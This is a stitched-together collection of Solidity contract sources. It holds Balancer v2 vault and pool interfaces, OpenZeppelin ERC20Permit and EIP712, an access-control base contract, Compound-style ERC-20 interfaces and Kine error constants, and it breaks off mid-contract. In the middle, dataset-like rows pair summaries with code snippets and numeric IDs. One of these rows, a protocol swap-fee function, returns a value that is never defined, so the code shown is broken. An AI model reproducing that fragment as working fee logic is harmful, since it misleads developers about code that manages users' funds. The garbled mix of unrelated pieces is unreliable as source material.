// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the SignatureValidator helper, used to support meta-transactions.
*/
interface ISignaturesValidator {
/**
* @dev Returns the EIP712 domain separator.
*/
function getDomainSeparator() external view returns (bytes32);
/**
* @dev Returns the next nonce used by an address to sign messages.
*/
function getNextNonce(address user) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
/**
* @dev Interface for WETH9.
* See https://github.com/gnosis/canonical-weth/blob/0dd1ea3e295eef916d0c6223ec63141137d22d67/contracts/WETH9.sol
*/
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero
* address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like
* types.
*
* This concept is unrelated to a Pool's Asset Managers.
*/
interface IAsset {
// solhint-disable-previous-line no-empty-blocks
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthorizer {
/**
* @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`.
*/
function canPerform(
bytes32 actionId,
address account,
address where
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// Inspired by Aave Protocol's IFlashLoanReceiver.
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
interface IFlashLoanRecipient {
/**
* @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient.
*
* At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this
* call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the
* Vault, or else the entire flash loan will revert.
*
* `userData` is the same value passed in the `IVault.flashLoan` call.
*/
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "./IVault.sol";
import "./IAuthorizer.sol";
interface IProtocolFeesCollector {
event SwapFeePercentageChanged(uint256 newSwapFeePercentage);
event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage);
function withdrawCollectedFees(
IERC20[] calldata tokens,
uint256[] calldata amounts,
address recipient
) external;
function setSwapFeePercentage(uint256 newSwapFeePercentage) external;
function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external;
function getSwapFeePercentage() external view returns (uint256);
function getFlashLoanFeePercentage() external view returns (uint256);
function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts);
function getAuthorizer() external view returns (IAuthorizer);
function vault() external view returns (IVault);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "./IVault.sol";
interface IPoolSwapStructs {
// This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and
// IMinimalSwapInfoPool.
//
// This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or
// 'given out') which indicates whether or not the amount sent by the pool is known.
//
// The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take
// in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`.
//
// All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in
// some Pools.
//
// `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than
// one Pool.
//
// The meaning of `lastChangeBlock` depends on the Pool specialization:
// - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total
// balance.
// - General: the last block in which *any* of the Pool's registered tokens changed its total balance.
//
// `from` is the origin address for the funds the Pool receives, and `to` is the destination address
// where the Pool sends the outgoing tokens.
//
// `userData` is extra data provided by the caller - typically a signature from a trusted party.
struct SwapRequest {
IVault.SwapKind kind;
IERC20 tokenIn;
IERC20 tokenOut;
uint256 amount;
// Misc data
bytes32 poolId;
uint256 lastChangeBlock;
address from;
address to;
bytes userData;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./ERC20.sol";
import "./IERC20Permit.sol";
import "./EIP712.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
mapping(address => uint256) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
// solhint-disable-next-line not-rely-on-time
_require(block.timestamp <= deadline, Errors.EXPIRED_PERMIT);
uint256 nonce = _nonces[owner];
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, nonce, deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ecrecover(hash, v, r, s);
_require((signer != address(0)) && (signer == owner), Errors.INVALID_SIGNATURE);
_nonces[owner] = nonce + 1;
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner];
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
_HASHED_NAME = keccak256(bytes(name));
_HASHED_VERSION = keccak256(bytes(version));
_TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view virtual returns (bytes32) {
return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
// Silence state mutability warning without generating bytecode.
// See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and
// https://github.com/ethereum/solidity/issues/2691
this;
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./IAuthentication.sol";
/**
* @dev Building block for performing access control on external functions.
*
* This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied
* to external functions to only make them callable by authorized accounts.
*
* Derived contracts must implement the `_canPerform` function, which holds the actual access control logic.
*/
abstract contract Authentication is IAuthentication {
bytes32 private immutable _actionIdDisambiguator;
/**
* @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in
* multi contract systems.
*
* There are two main uses for it:
* - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers
* unique. The contract's own address is a good option.
* - if the contract belongs to a family that shares action identifiers for the same functions, an identifier
* shared by the entire family (and no other contract) should be used instead.
*/
constructor(bytes32 actionIdDisambiguator) {
_actionIdDisambiguator = actionIdDisambiguator;
}
/**
* @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions.
*/
modifier authenticate() {
_authenticateCaller();
_;
}
/**
* @dev Reverts unless the caller is allowed to call the entry point function.
*/
function _authenticateCaller() internal view {
bytes32 actionId = getActionId(msg.sig);
_require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED);
}
function getActionId(bytes4 selector) public view override returns (bytes32) {
// Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the
// function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of
// multiple contracts.
return keccak256(abi.encodePacked(_actionIdDisambiguator, selector));
}
function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthentication {
/**
* @dev Returns the action identifier associated with the external function described by `selector`.
*/
function getActionId(bytes4 selector) external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IBasePool.sol";
/**
* @dev Pool contracts with the MinimalSwapInfo or TwoToken specialization settings should implement this interface.
*
* This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool.
* Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will grant
* to the pool in a 'given out' swap.
*
* This can often be implemented by a `view` function, since many pricing algorithms don't need to track state
* changes in swaps. However, contracts implementing this in non-view functions should check that the caller is
* indeed the Vault.
*/
interface IMinimalSwapInfoPool is IBasePool {
function onSwap(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) external returns (uint256 amount);
}
| The amplification parameter equals: A n^(n-1) oneTokenSwapFee - polynomial equation to solve af = fee amount to calculate in one token bf = balance of fee token f = bf - af (finalBalanceFeeToken) D = old invariant D D^(n+1) A = amplification coefficient f^2 + ( S - ---------- - D) f - ------------- = 0 n = number of tokens (A n^n) A n^2n P S = sum of final balances but f P = product of final balances but f Protocol swap fee amount, so we round down overall. This shouldn't happen outside of rounding errors, but have this safeguard nonetheless to prevent the Pool from entering a locked state in which joins and exits revert while computing accumulated swap fees. | function _calcDueTokenProtocolSwapFeeAmount(
uint256 amplificationParameter,
uint256[] memory balances,
uint256 lastInvariant,
uint256 tokenIndex,
uint256 protocolSwapFeePercentage
) internal pure returns (uint256) {
uint256 finalBalanceFeeToken = _getTokenBalanceGivenInvariantAndAllOtherBalances(
amplificationParameter,
balances,
lastInvariant,
tokenIndex
);
if (balances[tokenIndex] <= finalBalanceFeeToken) {
return 0;
}
return accumulatedTokenSwapFees.mulDown(protocolSwapFeePercentage).divDown(FixedPoint.ONE);
}
| 1,706,794 |
./partial_match/3/0xBB5A03b2A5bF16C89d8d2e86c8F1fC5D4B0DEDc2/sources/AtomicSwapEther.sol | Close the swap. Transfer the ETH funds from this contract to the withdrawing trader. Trigger close event. | function close(bytes32 _swapID, string _secretKey) public onlyOpenSwaps(_swapID) onlyWithSecretKey(_swapID, _secretKey) {
Swap memory swap = swaps[_swapID];
swaps[_swapID].secretKey = _secretKey;
swapStates[_swapID] = States.CLOSED;
swap.withdrawTrader.transfer(swap.value);
emit Close(_swapID, _secretKey);
}
| 16,629,937 |
pragma solidity ^0.5.16;
/**
Copyright 2020 Compound Labs, Inc.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @title ERC 20 Token Standard Interface
* https://eips.ethereum.org/EIPS/eip-20
*/
interface EIP20Interface {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external returns (bool success);
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
pragma solidity ^0.5.16;
/**
Copyright 2020 Compound Labs, Inc.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface EIP20NonStandardInterface {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(address src, address dst, uint256 amount) external;
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
pragma solidity ^0.5.16;
/**
Copyright 2020 Compound Labs, Inc.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* Original work from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/ErrorReporter.sol
* Modified to work in the Kine system.
* Main modifications:
* 1. using constant string instead of enums
*/
contract ControllerErrorReporter {
string internal constant MARKET_NOT_LISTED = "MARKET_NOT_LISTED";
string internal constant MARKET_ALREADY_LISTED = "MARKET_ALREADY_LISTED";
string internal constant MARKET_ALREADY_ADDED = "MARKET_ALREADY_ADDED";
string internal constant EXIT_MARKET_BALANCE_OWED = "EXIT_MARKET_BALANCE_OWED";
string internal constant EXIT_MARKET_REJECTION = "EXIT_MARKET_REJECTION";
string internal constant MINT_PAUSED = "MINT_PAUSED";
string internal constant BORROW_PAUSED = "BORROW_PAUSED";
string internal constant SEIZE_PAUSED = "SEIZE_PAUSED";
string internal constant TRANSFER_PAUSED = "TRANSFER_PAUSED";
string internal constant MARKET_BORROW_CAP_REACHED = "MARKET_BORROW_CAP_REACHED";
string internal constant MARKET_SUPPLY_CAP_REACHED = "MARKET_SUPPLY_CAP_REACHED";
string internal constant REDEEM_TOKENS_ZERO = "REDEEM_TOKENS_ZERO";
string internal constant INSUFFICIENT_LIQUIDITY = "INSUFFICIENT_LIQUIDITY";
string internal constant INSUFFICIENT_SHORTFALL = "INSUFFICIENT_SHORTFALL";
string internal constant TOO_MUCH_REPAY = "TOO_MUCH_REPAY";
string internal constant CONTROLLER_MISMATCH = "CONTROLLER_MISMATCH";
string internal constant INVALID_COLLATERAL_FACTOR = "INVALID_COLLATERAL_FACTOR";
string internal constant INVALID_CLOSE_FACTOR = "INVALID_CLOSE_FACTOR";
string internal constant INVALID_LIQUIDATION_INCENTIVE = "INVALID_LIQUIDATION_INCENTIVE";
}
contract KTokenErrorReporter {
string internal constant BAD_INPUT = "BAD_INPUT";
string internal constant TRANSFER_NOT_ALLOWED = "TRANSFER_NOT_ALLOWED";
string internal constant TRANSFER_NOT_ENOUGH = "TRANSFER_NOT_ENOUGH";
string internal constant TRANSFER_TOO_MUCH = "TRANSFER_TOO_MUCH";
string internal constant MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED = "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED";
string internal constant MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED = "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED";
string internal constant REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED = "REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED";
string internal constant REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED = "REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED";
string internal constant BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED = "BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED";
string internal constant BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED = "BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED";
string internal constant REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED = "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED";
